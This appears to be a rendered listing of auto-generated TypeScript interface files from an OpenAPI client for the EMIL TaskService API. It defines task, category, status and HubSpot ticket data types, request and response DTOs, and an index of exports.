| export interface CategoryClass { | ||
| /** | ||
| * id | ||
| * @type {number} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'id': number; | ||
| /** | ||
| * code | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * name | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'name': string; | ||
| /** | ||
| * createdBy | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'createdBy': string; | ||
| /** | ||
| * updatedBy | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'updatedBy': string; | ||
| /** | ||
| * createdAt | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'createdAt'?: string; | ||
| /** | ||
| * updatedAt | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'updatedAt'?: string; | ||
| /** | ||
| * slug | ||
| * @type {string} | ||
| * @memberof CategoryClass | ||
| */ | ||
| 'slug': string; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateCategoryRequestDto | ||
| */ | ||
| export interface CreateCategoryRequestDto { | ||
| /** | ||
| * Category name: display name of the category | ||
| * @type {string} | ||
| * @memberof CreateCategoryRequestDto | ||
| */ | ||
| 'name': string; | ||
| /** | ||
| * Category slug: URL-friendly identifier (auto-generated from name if not provided) | ||
| * @type {string} | ||
| * @memberof CreateCategoryRequestDto | ||
| */ | ||
| 'slug'?: string; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { CategoryClass } from './category-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateCategoryResponseClass | ||
| */ | ||
| export interface CreateCategoryResponseClass { | ||
| /** | ||
| * category | ||
| * @type {CategoryClass} | ||
| * @memberof CreateCategoryResponseClass | ||
| */ | ||
| 'category'?: CategoryClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { HubSpotTicketNameValueDto } from './hub-spot-ticket-name-value-dto'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateHubSpotTicketRequestDto | ||
| */ | ||
| export interface CreateHubSpotTicketRequestDto { | ||
| /** | ||
| * submittedAt | ||
| * @type {string} | ||
| * @memberof CreateHubSpotTicketRequestDto | ||
| */ | ||
| 'submittedAt'?: string; | ||
| /** | ||
| * fields | ||
| * @type {Array<HubSpotTicketNameValueDto>} | ||
| * @memberof CreateHubSpotTicketRequestDto | ||
| */ | ||
| 'fields': Array<HubSpotTicketNameValueDto>; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { HubSpotTicketClass } from './hub-spot-ticket-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateHubSpotTicketResponseClass | ||
| */ | ||
| export interface CreateHubSpotTicketResponseClass { | ||
| /** | ||
| * hubSpotTicket | ||
| * @type {HubSpotTicketClass} | ||
| * @memberof CreateHubSpotTicketResponseClass | ||
| */ | ||
| 'hubSpotTicket'?: HubSpotTicketClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateStatusRequestDto | ||
| */ | ||
| export interface CreateStatusRequestDto { | ||
| /** | ||
| * Task status name: display name of the status | ||
| * @type {string} | ||
| * @memberof CreateStatusRequestDto | ||
| */ | ||
| 'name': string; | ||
| /** | ||
| * Task status slug - URL-friendly identifier (auto-generated from name if not provided) | ||
| * @type {string} | ||
| * @memberof CreateStatusRequestDto | ||
| */ | ||
| 'slug'?: string; | ||
| /** | ||
| * Sort order for workflow display (must be unique per tenant). Lower values appear first. | ||
| * @type {number} | ||
| * @memberof CreateStatusRequestDto | ||
| */ | ||
| 'sortOrder': number; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { StatusClass } from './status-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateStatusResponseClass | ||
| */ | ||
| export interface CreateStatusResponseClass { | ||
| /** | ||
| * status | ||
| * @type {StatusClass} | ||
| * @memberof CreateStatusResponseClass | ||
| */ | ||
| 'status'?: StatusClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateTaskRequestDto | ||
| */ | ||
| export interface CreateTaskRequestDto { | ||
| /** | ||
| * Task subject: title of the task | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'subject': string; | ||
| /** | ||
| * Task description: detailed description of the task | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'description': string; | ||
| /** | ||
| * Task assignee user code: person assigned to the task | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'assignee'?: string; | ||
| /** | ||
| * Task category slugs (array of category slugs) | ||
| * @type {Array<string>} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'categorySlugs'?: Array<string>; | ||
| /** | ||
| * Task status slug | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'statusSlug': string; | ||
| /** | ||
| * Task priority | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'priority'?: CreateTaskRequestDtoPriorityEnum; | ||
| /** | ||
| * Task reporter user code: person who reported the task | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'reporter'?: string; | ||
| /** | ||
| * Task due date. | ||
| * @type {string} | ||
| * @memberof CreateTaskRequestDto | ||
| */ | ||
| 'dueDate'?: string; | ||
| } | ||
| export const CreateTaskRequestDtoPriorityEnum = { | ||
| Low: 'LOW', | ||
| Medium: 'MEDIUM', | ||
| High: 'HIGH' | ||
| } as const; | ||
| export type CreateTaskRequestDtoPriorityEnum = typeof CreateTaskRequestDtoPriorityEnum[keyof typeof CreateTaskRequestDtoPriorityEnum]; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { TaskClass } from './task-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CreateTaskResponseClass | ||
| */ | ||
| export interface CreateTaskResponseClass { | ||
| /** | ||
| * task | ||
| * @type {TaskClass} | ||
| * @memberof CreateTaskResponseClass | ||
| */ | ||
| 'task'?: TaskClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { CategoryClass } from './category-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface GetCategoryResponseClass | ||
| */ | ||
| export interface GetCategoryResponseClass { | ||
| /** | ||
| * category | ||
| * @type {CategoryClass} | ||
| * @memberof GetCategoryResponseClass | ||
| */ | ||
| 'category'?: CategoryClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { StatusClass } from './status-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface GetStatusResponseClass | ||
| */ | ||
| export interface GetStatusResponseClass { | ||
| /** | ||
| * status | ||
| * @type {StatusClass} | ||
| * @memberof GetStatusResponseClass | ||
| */ | ||
| 'status'?: StatusClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { TaskClass } from './task-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface GetTaskResponseClass | ||
| */ | ||
| export interface GetTaskResponseClass { | ||
| /** | ||
| * task | ||
| * @type {TaskClass} | ||
| * @memberof GetTaskResponseClass | ||
| */ | ||
| 'task'?: TaskClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { HubSpotTicketErrorClass } from './hub-spot-ticket-error-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface HubSpotTicketClass | ||
| */ | ||
| export interface HubSpotTicketClass { | ||
| /** | ||
| * status | ||
| * @type {string} | ||
| * @memberof HubSpotTicketClass | ||
| */ | ||
| 'status': string; | ||
| /** | ||
| * message | ||
| * @type {string} | ||
| * @memberof HubSpotTicketClass | ||
| */ | ||
| 'message': string; | ||
| /** | ||
| * correlationId | ||
| * @type {string} | ||
| * @memberof HubSpotTicketClass | ||
| */ | ||
| 'correlationId': string; | ||
| /** | ||
| * inlineMessage | ||
| * @type {string} | ||
| * @memberof HubSpotTicketClass | ||
| */ | ||
| 'inlineMessage': string; | ||
| /** | ||
| * errors | ||
| * @type {Array<HubSpotTicketErrorClass>} | ||
| * @memberof HubSpotTicketClass | ||
| */ | ||
| 'errors': Array<HubSpotTicketErrorClass>; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface HubSpotTicketErrorClass | ||
| */ | ||
| export interface HubSpotTicketErrorClass { | ||
| /** | ||
| * message | ||
| * @type {string} | ||
| * @memberof HubSpotTicketErrorClass | ||
| */ | ||
| 'message': string; | ||
| /** | ||
| * errorType | ||
| * @type {string} | ||
| * @memberof HubSpotTicketErrorClass | ||
| */ | ||
| 'errorType': string; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface HubSpotTicketNameValueDto | ||
| */ | ||
| export interface HubSpotTicketNameValueDto { | ||
| /** | ||
| * name | ||
| * @type {string} | ||
| * @memberof HubSpotTicketNameValueDto | ||
| */ | ||
| 'name': string; | ||
| /** | ||
| * value | ||
| * @type {string} | ||
| * @memberof HubSpotTicketNameValueDto | ||
| */ | ||
| 'value': string; | ||
| } | ||
| export * from './assignee-class'; | ||
| export * from './category-class'; | ||
| export * from './create-category-request-dto'; | ||
| export * from './create-category-response-class'; | ||
| export * from './create-hub-spot-ticket-request-dto'; | ||
| export * from './create-hub-spot-ticket-response-class'; | ||
| export * from './create-status-request-dto'; | ||
| export * from './create-status-response-class'; | ||
| export * from './create-task-request-dto'; | ||
| export * from './create-task-response-class'; | ||
| export * from './get-category-response-class'; | ||
| export * from './get-status-response-class'; | ||
| export * from './get-task-response-class'; | ||
| export * from './hub-spot-ticket-class'; | ||
| export * from './hub-spot-ticket-error-class'; | ||
| export * from './hub-spot-ticket-name-value-dto'; | ||
| export * from './inline-response200'; | ||
| export * from './inline-response503'; | ||
| export * from './list-assignees-response-class'; | ||
| export * from './list-categories-response-class'; | ||
| export * from './list-statuses-response-class'; | ||
| export * from './list-tasks-response-class'; | ||
| export * from './patch-category-request-dto'; | ||
| export * from './patch-category-response-class'; | ||
| export * from './patch-status-request-dto'; | ||
| export * from './patch-status-response-class'; | ||
| export * from './patch-task-request-dto'; | ||
| export * from './patch-task-response-class'; | ||
| export * from './status-class'; | ||
| export * from './task-class'; |
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface InlineResponse200 | ||
| */ | ||
| export interface InlineResponse200 { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'status'?: string; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'info'?: { [key: string]: { [key: string]: object; }; } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'error'?: { [key: string]: { [key: string]: object; }; } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'details'?: { [key: string]: { [key: string]: object; }; }; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface InlineResponse503 | ||
| */ | ||
| export interface InlineResponse503 { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'status'?: string; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'info'?: { [key: string]: { [key: string]: object; }; } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'error'?: { [key: string]: { [key: string]: object; }; } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'details'?: { [key: string]: { [key: string]: object; }; }; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { AssigneeClass } from './assignee-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ListAssigneesResponseClass | ||
| */ | ||
| export interface ListAssigneesResponseClass { | ||
| /** | ||
| * List of assignees | ||
| * @type {Array<AssigneeClass>} | ||
| * @memberof ListAssigneesResponseClass | ||
| */ | ||
| 'items': Array<AssigneeClass>; | ||
| /** | ||
| * Token for next page | ||
| * @type {string} | ||
| * @memberof ListAssigneesResponseClass | ||
| */ | ||
| 'nextPageToken': string; | ||
| /** | ||
| * Number of items per page | ||
| * @type {number} | ||
| * @memberof ListAssigneesResponseClass | ||
| */ | ||
| 'itemsPerPage': number; | ||
| /** | ||
| * Total number of items | ||
| * @type {number} | ||
| * @memberof ListAssigneesResponseClass | ||
| */ | ||
| 'totalItems': number; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { CategoryClass } from './category-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ListCategoriesResponseClass | ||
| */ | ||
| export interface ListCategoriesResponseClass { | ||
| /** | ||
| * items | ||
| * @type {Array<CategoryClass>} | ||
| * @memberof ListCategoriesResponseClass | ||
| */ | ||
| 'items': Array<CategoryClass>; | ||
| /** | ||
| * nextPageToken | ||
| * @type {string} | ||
| * @memberof ListCategoriesResponseClass | ||
| */ | ||
| 'nextPageToken': string; | ||
| /** | ||
| * itemsPerPage | ||
| * @type {number} | ||
| * @memberof ListCategoriesResponseClass | ||
| */ | ||
| 'itemsPerPage': number; | ||
| /** | ||
| * totalItems | ||
| * @type {number} | ||
| * @memberof ListCategoriesResponseClass | ||
| */ | ||
| 'totalItems': number; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { StatusClass } from './status-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ListStatusesResponseClass | ||
| */ | ||
| export interface ListStatusesResponseClass { | ||
| /** | ||
| * items | ||
| * @type {Array<StatusClass>} | ||
| * @memberof ListStatusesResponseClass | ||
| */ | ||
| 'items': Array<StatusClass>; | ||
| /** | ||
| * nextPageToken | ||
| * @type {string} | ||
| * @memberof ListStatusesResponseClass | ||
| */ | ||
| 'nextPageToken': string; | ||
| /** | ||
| * itemsPerPage | ||
| * @type {number} | ||
| * @memberof ListStatusesResponseClass | ||
| */ | ||
| 'itemsPerPage': number; | ||
| /** | ||
| * totalItems | ||
| * @type {number} | ||
| * @memberof ListStatusesResponseClass | ||
| */ | ||
| 'totalItems': number; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { TaskClass } from './task-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ListTasksResponseClass | ||
| */ | ||
| export interface ListTasksResponseClass { | ||
| /** | ||
| * items | ||
| * @type {Array<TaskClass>} | ||
| * @memberof ListTasksResponseClass | ||
| */ | ||
| 'items': Array<TaskClass>; | ||
| /** | ||
| * nextPageToken | ||
| * @type {string} | ||
| * @memberof ListTasksResponseClass | ||
| */ | ||
| 'nextPageToken': string; | ||
| /** | ||
| * itemsPerPage | ||
| * @type {number} | ||
| * @memberof ListTasksResponseClass | ||
| */ | ||
| 'itemsPerPage': number; | ||
| /** | ||
| * totalItems | ||
| * @type {number} | ||
| * @memberof ListTasksResponseClass | ||
| */ | ||
| 'totalItems': number; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchCategoryRequestDto | ||
| */ | ||
| export interface PatchCategoryRequestDto { | ||
| /** | ||
| * Category code: unique identifier of the category | ||
| * @type {string} | ||
| * @memberof PatchCategoryRequestDto | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * Category name: display name of the category | ||
| * @type {string} | ||
| * @memberof PatchCategoryRequestDto | ||
| */ | ||
| 'name'?: string; | ||
| /** | ||
| * Category slug: URL-friendly identifier | ||
| * @type {string} | ||
| * @memberof PatchCategoryRequestDto | ||
| */ | ||
| 'slug'?: string; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { CategoryClass } from './category-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchCategoryResponseClass | ||
| */ | ||
| export interface PatchCategoryResponseClass { | ||
| /** | ||
| * category | ||
| * @type {CategoryClass} | ||
| * @memberof PatchCategoryResponseClass | ||
| */ | ||
| 'category'?: CategoryClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchStatusRequestDto | ||
| */ | ||
| export interface PatchStatusRequestDto { | ||
| /** | ||
| * Status code: unique identifier of the status | ||
| * @type {string} | ||
| * @memberof PatchStatusRequestDto | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * Status name: display name of the status | ||
| * @type {string} | ||
| * @memberof PatchStatusRequestDto | ||
| */ | ||
| 'name'?: string; | ||
| /** | ||
| * Status slug: URL-friendly identifier | ||
| * @type {string} | ||
| * @memberof PatchStatusRequestDto | ||
| */ | ||
| 'slug'?: string; | ||
| /** | ||
| * Sort order for workflow display (must be unique per tenant). Lower values appear first. | ||
| * @type {number} | ||
| * @memberof PatchStatusRequestDto | ||
| */ | ||
| 'sortOrder'?: number; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { StatusClass } from './status-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchStatusResponseClass | ||
| */ | ||
| export interface PatchStatusResponseClass { | ||
| /** | ||
| * status | ||
| * @type {StatusClass} | ||
| * @memberof PatchStatusResponseClass | ||
| */ | ||
| 'status'?: StatusClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchTaskRequestDto | ||
| */ | ||
| export interface PatchTaskRequestDto { | ||
| /** | ||
| * Task code: unique identifier of the task | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * Entity version for optimistic locking. If provided, update fails if version does not match current version. | ||
| * @type {number} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'version'?: number; | ||
| /** | ||
| * Task subject: title of the task | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'subject'?: string; | ||
| /** | ||
| * Task description: detailed description of the task | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'description'?: string; | ||
| /** | ||
| * Task assignee: person assigned to the task | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'assignee'?: string; | ||
| /** | ||
| * Task category slugs (array of category slugs) | ||
| * @type {Array<string>} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'categorySlugs'?: Array<string>; | ||
| /** | ||
| * Task status slug | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'statusSlug'?: string; | ||
| /** | ||
| * Task priority | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'priority'?: string; | ||
| /** | ||
| * Task reporter: person who reported the task | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'reporter'?: string; | ||
| /** | ||
| * Task due date | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'dueDate'?: string; | ||
| /** | ||
| * Set to true to clear/remove the due date. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearDueDate'?: boolean; | ||
| /** | ||
| * Set to true to clear/remove the assignee. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearAssignee'?: boolean; | ||
| /** | ||
| * Set to true to clear/remove the categories. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearCategories'?: boolean; | ||
| /** | ||
| * Set to true to clear/remove the status. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearStatus'?: boolean; | ||
| /** | ||
| * Set to true to clear/remove the priority. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearPriority'?: boolean; | ||
| /** | ||
| * Set to true to clear/remove the reporter. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearReporter'?: boolean; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
